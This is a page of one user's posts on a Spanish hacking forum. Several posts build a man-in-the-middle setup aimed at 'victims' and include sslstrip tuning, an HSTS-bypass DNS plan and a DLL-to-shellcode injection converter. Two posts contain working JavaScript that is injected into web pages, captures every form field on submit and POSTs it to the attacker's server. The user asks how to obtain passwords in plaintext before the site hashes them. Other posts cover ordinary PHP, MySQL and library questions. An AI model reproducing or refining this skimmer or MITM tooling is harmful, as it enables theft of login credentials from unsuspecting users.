elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 19
1  Sistemas Operativos / Windows / Modificar configuración capa TCP en: 17 Septiembre 2016, 15:25 pm
Buenas,

Necesito cambiar el timestamp, el escalado de ventana que se producen en el negociado del handshake al producirse una conexión TCP desde windows, en función de la red que nos encontremos el SO nos da unos valores u otros, ahora bien yo uso un programa que hace redirecciónes TCP y el SO no cuenta con esa latencia por lo que en redes demasiado rápidas el programa no funciona como debería ya que la capa TCP desecha los paquetes que llegan fuera de tiempo que son provenientes de mi fordward TCP (Mi programa servidor da conexiones con timestamp muy bajo y escalado de ventana muy alto en redes rápidas).

¿Que debería de cambiar en la configuración TCP para que no se produjeran problemas de este tipo?, el timestamp sino me equivoco es como un temporizador por lo que puede influir y el escalado de ventana desconozco si puede provocar el error, pero si una red es muy rápida quizás iría más rápido que lo que pueda soportar el programa y se ignoren paquetes o no sé, las posibilidades son muchas, seguiré mirando TCP, pues quizás no sea lo único que haya que tocar para que todo vaya fluido.

Y me gustaría saber si es posible hacerlo para un solo socket (el del servidor) haciendo que las conexiones que produzca ese socket tengan esa configuración TCP pero sin afectar a los demás programas.

Saludos y gracias.

Edito: He comparado con wireshark los SYNs de una red muy rápida y una normal o lenta, y la diferencia es que el de la rápida lleva el en un FLAG de SYN timestamps que son temporizadores TCP, creo que son los responsables de que en redes rápidas se colapse mi sslstrip, así pues he probado con "netsh int tcp set global timestamps=disabled" y claro funciona PERO solo en la comunicación de el equipo donde se ejecuta con el server, es decir las víctimas que se conectan a mi llevan en el SYN el timestamp al ser una red de gran velocidad, lo que quiero es mandarlas un SYN/ACK desactivando el timestamp, y con este comando parece que no se puede, espero que haya otra forma porque sino mal vamos.

En fín necesito que mi servidor de windows al aceptar conexiónes SYN con timestamp reponda con timestamp nulo desactivando así el timestamp durante todo el proceso de conexión TCP, hasta ahora solo he visto desactivarlo como cliente es decir que windows mande SYNs sin timestamp, pero lo que quiero es que al recibirlos como servidor los desactive en el SYN/ACK, y eso no he encontrado como, si alguien sabe estaría bien que lo pusiera, gracias.

Edicion delicatesse: Al final tuve una ingeniosa idea de modificar los SYN entrantes de las víctimas que tuvieran el campo del timestamp y eliminarlo, la respuesta fue satisfactoria la conexión servidor cliente se producía sin timestamps y se podían mandar todos los datos sin problemas de corte de conexión, funcionaba de la manera que el cliente mandaba un SYN con timestamp y yo le mando al server un SYN sin timestamp el server responde sin timestamp y la víctima lo acata, gg.

Eso sí el server tiene un serio problema con la velocidad y con al carga de algunas páginas que va a costar corregirlo.

Saludos.
2  Programación / Programación C/C++ / Problema sobre inyección de DLL desde shellcode en: 8 Septiembre 2016, 21:30 pm
Buenas gente,

Estoy haciendo pruebas con una DLL inyectandola en un proceso pero lo que quiero hacer es hacer esa inyección pasando los bytes de la dll a una shellcode y utilizar esa shellcode en otro programa para realizar la inyección en el proceso objetivo, pero el programa me crashea en la inyección, sin embargo para otras shellcodes si que funciona, por lo tanto creo que puede ser problema de la generación de la shellcode desde la dll, ¿tengo que pasar todos los bytes de la dll a la shellcode?, si es así es lo que he hecho y esbozé un programa algo chapucero para automatizarlo que se encarga de generar un txt con la shellcode pasandole el path de la dll:

Código
  1.  
  2. {
  3.        WCHAR filePath[MAX_PATH];
  4.  
  5. wcout << "Introduce el path del archivo que quieres pasar a shellcode: " << endl;
  6. wcin >> filePath;
  7. fflush(stdin);
  8.  
  9.        HANDLE hFile;
  10.  
  11. if ((hFile = CreateFile(filePath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_HIDDEN, NULL)) != INVALID_HANDLE_VALUE)
  12. {
  13. DWORD fileSize;
  14.  
  15. if ((fileSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE)
  16. {
  17. CHAR *buffer = new CHAR[fileSize]();
  18.  
  19. if (ReadFile(hFile, buffer, fileSize, NULL, NULL))
  20. {
  21. FILE *a;
  22.  
  23. a = fopen("shellcode.txt", "wt");
  24.  
  25. for (DWORD i = 0; i < fileSize; i++)
  26. {
  27. fprintf(a, "%s", "\\x%.2X", (UCHAR)buffer[i]);
  28. if (i % 20 == 0 && i != 0)
  29. fprintf(a, "\"\n\"");
  30. }
  31.  
  32.                                delete[] buffer;
  33.  
  34. fclose(a);
  35.  
  36. cout << "ok";
  37. }
  38.                }
  39.                CloseHandle(hFile);
  40.        }
  41.  
  42.        return 0;
  43. }
  44.  

Luego  procedo a declarar la shellcode como una variable static CHAR* en otro programa desde donde quiero inyectarla en otro proceso, pero crashea, sin embargo para otras shellcodes no lo hace, luego ese código parece estar bien.

¿Falla en algo la generación del payload, debo copiar todos los bytes o ignorar algunos casos?

Saludos y gracias.
3  Comunicaciones / Redes / Red sin servidor DNS ¿a qué IP mandan las requests? en: 18 Agosto 2016, 02:29 am
Buenas, estoy montando un servidor DNS para bypassear el HSTS y necesito mandar las DNS request a la IP del servidor DNS de la red, pero CREO que hay redes que no tienen servidores DNS dedicados, entonces me he preguntado que a donde mandan las requests, ¿a la IP del router y el la resuelve, o simplemente estoy equivocado y todas las redes tienen servidores DNS con su IP sin excepciones?.

En definitiva, lo que quiero saber es si "GetNetworkParams" de windows, me dará el valor siempre del servidor DNS tenga o no tenga el servidor DNS dedicado, y también estaría bien saber que pasa cuando hay 2 servidores DNS, cual elegir si es indiferente o no.

Bah que seguramente con la función sobre, supongo que el tema habrá llegado fruto de delirios de la noche XD.

Un saludo y gracias.
4  Programación / Desarrollo Web / Problema conexión servidor MySQL - PHPStorm en: 28 Julio 2016, 22:48 pm
Buenas lo primero decir que acabo de darme cuenta de que para cargar las bases de datos se conecta a otro servidor cuando pensaba que simplemente consistía en acceder al archivo, pero por lo visto se conecta a otro servidor con usuario y contraseña y lo pide los datos, es coherente, corregidme si me equivoco XD.

El caso es que estaba haciendo un tutorial de MySQL y con PHPStorm puedo crear el servidor y he seguido el tutorial de su página web que adjunto el link y que es el programa que estoy usando y la misma configuración pero dejo de seguir el tutorial en el momento que falla la conexión y no puedo saltar al paso de cargar las tablas y schemas:

https://confluence.jetbrains.com/display/PhpStorm/Databases+and+SQL+Editor+in+PhpStorm#DatabasesandSQLEditorinPhpStorm-Settingupadatabaseconnection

El caso es que he seguido los pasos pero me da fallo en la conexión al servidor MySQL, he aceptado la excepción del firewall pero da errores de conexión, también me he descargado la última versión de JDBC pero tampoco ha funcionado con ella, la página sugiere que busque cosas en google que no se lo que son, quizás alguno se haya topado antes con este error y sepa como solucionarlo, ¿el JDBC no me funciona?, la conexion que realizo es jdbc:mysql://localhost:3306 el servidor debería de estar levantado pero sin embargo no se produce la conexión.

Saludos.
5  Programación / Desarrollo Web / javascript bypassear hash de un formulario en: 24 Julio 2016, 13:10 pm
Buenas,

Ya tengo el sniffer que inyecta código javascript en webs con formularios, y son solo esos los datos HTTP que sniffea la aplicación, antes sniffaba todos los datos HTTP POST urlenconded, pero había muchos datos de aplicaciones en segundo plano que sniffaba y que no interesaban que llenaban los logs inútilmente, además hay páginas que mandan gran cantidad de datos en ese tipo de POST y quedaban logueados ocupando espacio en el archivo, así que me decanté por usar inyección de javascript y enviar los datos con post desde javascript, así solo obtenemos datos de formularios, y además podemos eliminar variables excesivamente grandes que no nos sirven del formulario, puesun user pass no creo que tenga 33000 caracteres por ejemplo.

El problema por el que abro el hilo es que he probado inyectando javascript haciendo poniendo un evento al submit que cuando se pulse envie la información de sus imput hide, algo que llega sin problema al server y lo logueo, PERO hay páginas como este foro o bankia que hace de la password un hash, por lo que no se puede ver, lo que quiero es con javascript saltar ese hash, y que aparezca todo de los imput text en texto plano.

Os dejo el código en javascript que hace de listener para capturar los form, y a ver que me podéis sugerir para bypassear el hash de la contraseña, algo que debe ocurrir, pero a lo que debemos adelantarnos con nuestro javascript.

Código
  1. function logger()
  2. {
  3. var forms = parent.document.getElementsByTagName("form");
  4.  
  5. for(i=0; i<forms.length; i++)
  6. {
  7. forms[i].addEventListener('submit', function()
  8. {
  9. var s= "";
  10. var forms = parent.document.getElementsByTagName("form");
  11.  
  12. for(x=0; x<forms.length; x++)
  13. {
  14. var elements = forms[x].elements;
  15. for(e=0;e<elements.length;e++)
  16. {
  17. s+= elements[e].name + "=" + elements[e].value + "|";
  18. }
  19. send(s);
  20. }
  21. attachForm(s);
  22. }, false);
  23. }
  24. }
  25.  
  26. function send(s)
  27. {
  28.    var r = new XMLHttpRequest();
  29.    r.open( "POST", "http://192.168.0.75:10000", true );
  30.    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  31.    r.send(s);
  32. }
  33.  

Este es el codigo que se inyecta en las páginas con formulario y cuando pulsan submit envia los datos al servidor, pero quiero que lo haga adelantandose al cifrado del hash de la password para que la password cuando me llegue al server me llegue en texto plano y no con asteriscos o con hash.

Las funciones las inyecto al final del head y la llamada al logger al final del body.

La gracia es que a veces funciona y otras no, supongo que será porque se ejecutará antes el javascript de cifrar que el mio unas veces y otra será al reves, ¿como puedo dar prioridad a mi javascript?.

Saludos y gracias.
6  Programación / Desarrollo Web / Problema al enviar datos con XMLHttpRequest en: 23 Julio 2016, 11:59 am
Hola buenas estoy inyectando un javascript que envía unos datos por post a un servidor, con XMLHttpRequest, os dejo el código:

Código
  1. function sender(cadena)
  2. {
  3.    var xmlHttp = new XMLHttpRequest();
  4.    xmlHttp.open("POST", "http://192.168.1.156:10000/");
  5.    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  6.    xhttp.setRequestHeader("User-Agent", "helloo");
  7.    xmlHttp.send( cadena );
  8. }
  9.  

He probado a meter "alert();" para ver donde esta el problema y despúes del open muestra un alert(), pero despues del primer setRequestHeader ya no muestra más luego no llega a llamar al send(), ¿por qué?, como piden he llamado a open luego  setRequestHeader y luego a send el orden es el correcto.

Saludos y gracias.
7  Foros Generales / Sugerencias y dudas sobre el Foro / ¿Capcha en el foro? en: 22 Julio 2016, 12:22 pm
Saludos,

He visto que ahora tenemos capcha cada vez que enviamos un mensaje o le modificamos, por favor es muy pesado tener que estar seleccionando fotos de escaparates y de comida cada vez que realizamos una acción en el foro, además que yo sepa no es tan necesario pues normalmente no veo bots por el foro. Me parece un incordiopara los usuarios. Que sse ponga al hacer login lo puedo entender, ¿pero que se ponga por cada mensaje y edición de mensaje?, me parece demasiado.

Además de los sustos que ya me llevo con firefox cada vez que doy a enviar y se me agotan las cookies que tengo que reescribirlo todo de nuevo, me salio el mensaje del capcha y la primera impresión fue que pensé que era que se me habían acabado las cookies XD, menudo susto.

También aprovecho para decir que hay veces que no deja acceder al contenido del foro sin loguearse y es un poco molesto a veces, eso y que los emoticonos de ff no funcionan.

En fin no se cual será vuestra opinión, pero para mi lo del capcha creo que sería mejor replantearlo... yo creo que con una vez al iniciar sesión sobra.

Saludos.

Edito: Vaya por dios ha sido postear el mensaje y desaparecer lo del capcha.
8  Seguridad Informática / Seguridad / Bypass login con hash en: 21 Julio 2016, 13:02 pm
Hola a todos, estaba jugando con mi sslstrip cuando empiezo a fustrarme al ver los típicos login con hash como tiene el foro y bankia por poner 2 ejemplos (Y este último también tiene como un POST de 33000 caracteres que espero que no tengan que ver con el hash la inmensa mayoría porque sino.. estoy jodido XD.

Pensando como extraer los login de la forma más clara posible.. sin hashes (que supongo serán generados por javascript ¿no?), se me ha ocurrido que se puede inyectar un javascript que haga de listener en todas estas páginas y que de alguna forma capture el contenido de los formularios al pulsar el submit.

Eso ahorraría también capturar POST que no interesan como los que hacen los antivirus o microsoft, ya que no creo que usen javascript :D al ser conexiones de segundo plano de programas de segundo plano.

En resumen, ¿se puede fácilmente sacar la contraseña de un login con hash?, ¿o hay que estudiarse los javascripts uno a uno?, de ser la segunda opción, creo que lo mejor sería optar por inyetar un javascript que haga de listener, que se active al hacer el login y que envie el contenido de los datos del formulario en texto plano (solo de las textbox sería aun más fino), esos datos deben de ir a nuestro server con algun identificador para que sepamos que esa peticion no debemos redirigirla al llevar solo los datos del login y la otra (con los 333000 caracteres si)..

Mmm creo que algo se podría hacer, su mejor bypass quizás este en la inyeccion de código. Aunque tendría un inconveniente, que el usuario tenga desactivado javascript y se loguee en una página que no lo requiera, ¿ahí como los capturaríamos?, sin embargo serían pocos los casos, la mayoría de las páginas usan javascript y las que tienen algo que ocultar XD.

Saludos!.
9  Programación / PHP / Login con límite intentos en PHP en: 13 Julio 2016, 14:20 pm
Buenas, estoy haciendo un login simple con POST que si los datos son correctos le activo sesión y cargo variables asociadas a esa sesión, pero sería muy fácil romper ese login con fuerza bruta ya que deja enviar usuarios y contraseñas sin límite.

Por ello, quiero que cada IP tenga un máximo de 3 intentos cada minuto por ejemplo.

Al ser muy noob con PHP solo se me ocurre crear un archivo con la IP que intento el login, si falla.
Así pues si falla, ponemos en el archivo datos estructurados de la forma [IP, intentos, tiempo]. Vemos si falla 3 veces y el tiempo de un minuto no ha sido superado en ese caso no validamos sus datos y mostramos error.

Pero claro creando un archivo... imaginad eso con muchas IPs intentando loguarse puede producir fallos... me pregunto si PHP nos facilitará otras formas de hacerlo, y no penséis en cookies para guardarle el estado al usuario ya que puede eliminarlas de las cabeceras y como si nada.

¿Ideas?,

Un saludo.
10  Programación / Programación C/C++ / OpenSSL vs CURL en: 13 Julio 2016, 12:04 pm
Buenas,

OpenSSL ofrece conexiones SSL y además tiene una suite de cifrado muy buena quizás la mejor librería de cifrado que haya, sus librerías estáticas son 2: libeay32.lib (13.405kbs) ssleay32.lib (2.232kbs).

Mientras que CURL ofrece conexiones para muchos protocolos con SSL pero nada de cifrado, su librería estática libcurl.lib pesa 1.613kb.

Todas las librerías de las que hablo son para versiones release.

Pero, ¿Por qué opción decantarse si utilizamos cifrado en nuestro programa?.

¿Y para conexiones sin texto plano, que pesará menos conexiones con la WINAPI o con CURL?.

Saludos.

Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines